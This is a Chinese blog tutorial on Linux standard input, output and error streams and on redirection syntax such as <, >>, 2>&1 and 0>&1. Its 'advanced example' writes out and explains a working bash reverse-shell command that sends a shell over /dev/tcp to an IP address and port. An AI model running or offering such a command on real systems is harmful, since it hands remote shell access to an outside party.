首页 > 系统相关 >linux标准输入输出以及重定向

linux标准输入输出以及重定向

时间:2022-09-07 00:01:27浏览次数:69  
标签:输出 重定向 文件 输入输出 标准 linux 输入

1.经常遇到< << > >> 0>&1是什么意思

以上表示某种输入输出重定向,具体了解前要知道什么是标准输入输出。

2.什么是标准输入输出

标准输入输出实际完整的叫法是标准输入输出文件。
linux系统中一切设备都是文件,都是对文件的操作。

具体就是:
标准输入文件(stdin),通常对应终端的键盘;
标准输出文件(stdout),这个文件都对应终端的屏幕。
还有个错误输出。

进程分别
将从标准输入文件中得到输入数据
将正常输出数据输出到标准输出文件,
将错误信息送到标准错误文件中。

3.关于重定向:

输入重定向:指把命令(或可执行程序)的标准输入重定向到指定的文件中。
也就是说,输入可以不来自键盘,而来自一个指定的文件。
所以说,输入重定向主要用于改变一个命令的输入源,特别是改变那些需要大量输入的输入源。

输出重定向:指把命令(或可执行程序)的标准输出或标准错误输出重新定向到指定文件中。这样,该命令的输出就不显示在屏幕上,而是写入到指定文件中。

各自符号的重定向表示

一般程序有输入和输出,默认都是标准输入的,可自定义:
<:就是标准输入重定向,可以从文件中输入(读取)
其实就是将某某文件作为程序读入。(全称应该是0<)
比如:command < file

>:就是标准输出重定向,可以重定向到文件(会覆盖),网络
其实就是将程序输出内容写到某某文件。(全称应该是1>)
比如:command > file    
如果是:0>,应该就是将键盘输入内容写入某某中

>>:如果重定向到文件,以追加方式输出到文件
比如:command >> file


标准输入输出还有文件描述符,主要用于标准输入输出之间重定向以及错误输出的重定向。
0 是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。
写法:
1.重定向符号(< >)左边和文件描述符数字之间不能有空格 ,如:2> 
2.如果重定向的目标(符号右边)是文件文件描述符数字需要加&符号,不然认为是文件。
3.&还有将错误输入和标准输出合并输出的意思
比如: 
1.> 2,意思是输出到文件名称是2的文件中。
2.> &2,意思输出到错误输出
3.bash -i > & /dev/tcp/192.168.1.1/9090 ,意思将标准和错误都输出到网络中
(bash -i > /dev/tcp/192.168.1.1/9090,只将标准输出内容写入网络)

例子:
1.错误输出到文件file
$ command 2>file
2.输出和错误输出都输出到文件中
$ command > file 2>&1
3.从文件1读取,输出文件2
$ command < file1 >file2

提升例子:
bash -i >& /dev/tcp/10.201.61.194/6767 
1.bash -i:生成交互的命令行
2.>& /dev/tcp/10.201.61.194/6767:bash解释器会对/dev/tcp对特殊处理,建立tcp socket,那么就是标准和错误输出写到网络中
3.0>&1:键盘标准输入写到标准输出,
对整个命令错误的理解:输入写到网络中,那么就该是:
0>& /dev/tcp/10.201.61.194/6767
正确理解:输入,标准输出,错误输出都会写入网络。

特别注意:0>&1 的写法!输入做输出!

 

标签:输出,重定向,文件,输入输出,标准,linux,输入
From: https://www.cnblogs.com/straybirds/p/16663785.html

相关文章

  • Linux环境搭建
    Linux环境搭建安装VNware虚拟机我在腾讯下载中心直接下载点普通下载就可以了https://pc.qq.com/detail/0/detail_21600.html来到安装目录选择一个自己喜欢的目录主要不......
  • windows远程linux桌面
    centos7为例:1.配置好本地yum源,然后安装上 tigervnc 和 tigervnc-server 安装包,被远程只装tigervnc-server即可[root@nginx~]#yumsearchtigervnc--showduplica......
  • Linux 后台开发必知的 I/O 优化知识总结
      IO性能对于一个系统的影响是至关重要的。一个系统经过多项优化以后,瓶颈往往落在数据库;而数据库经过多种优化以后,瓶颈最终会落到IO。而IO性能的发展,明显落后于CPU的发......
  • 深入理解 Linux的 I/O 系统
      传统的SystemCallI/O在Linux系统中,传统的访问方式是通过write()和read()两个系统调用实现的,通过read()函数读取文件到到缓存区中,然后通过write()方法......
  • Linux Kernel TCP/IP Stack|Linux网络硬核系列
      介绍Linux网络技术中最核心的部分--TCP/IP协议栈 。我们先看一下抽象的网络协议栈模型  再按分层思想看Linux内核协议栈实现框架  1.socketlayer ......
  • Linux学习笔记:mkdir创建文件夹
    Linux学习笔记:mkdir创建文件夹文件夹,即目录,在linux中使用mkdir创建。语法:mkdirdir_name通过mkdir命令可以实现在指定位置创建以dir_name(指定的文件名......
  • [安装配置] Linux安装配置maven
    第一步:上传压缩包第二步:解压压缩包tar-zxvfapache-maven-3.5.4-bin.tar.gz-C/usr/local第三步:配置settings.xml文件进入配置文件目录cd/usr/local/apache-mave......
  • [安装配置] Linux安装git
    第一步:在线安装Gityuminstallgit 询问输入'y'第二步:测试git--version......
  • [安装配置] Linux安装tomcat
    第一步:上传压缩包第二步:解压压缩包tar-zxvfapache-tomcat-8.5.57.tar.gz-C/usr/local第三步:启动进入tomcat根目录下的bin文件夹中cd/usr/local/apache-tomcat-8......
  • [安装配置] Linux安装MySQL
    第一步:查看mysql相关的软件查询当前系统中安装的名称带mysql的软件rpm-qa|grepmysql查询当前系统中安装的名称带mariadb的软件rpm-qa|grepmariadb第二步:卸载......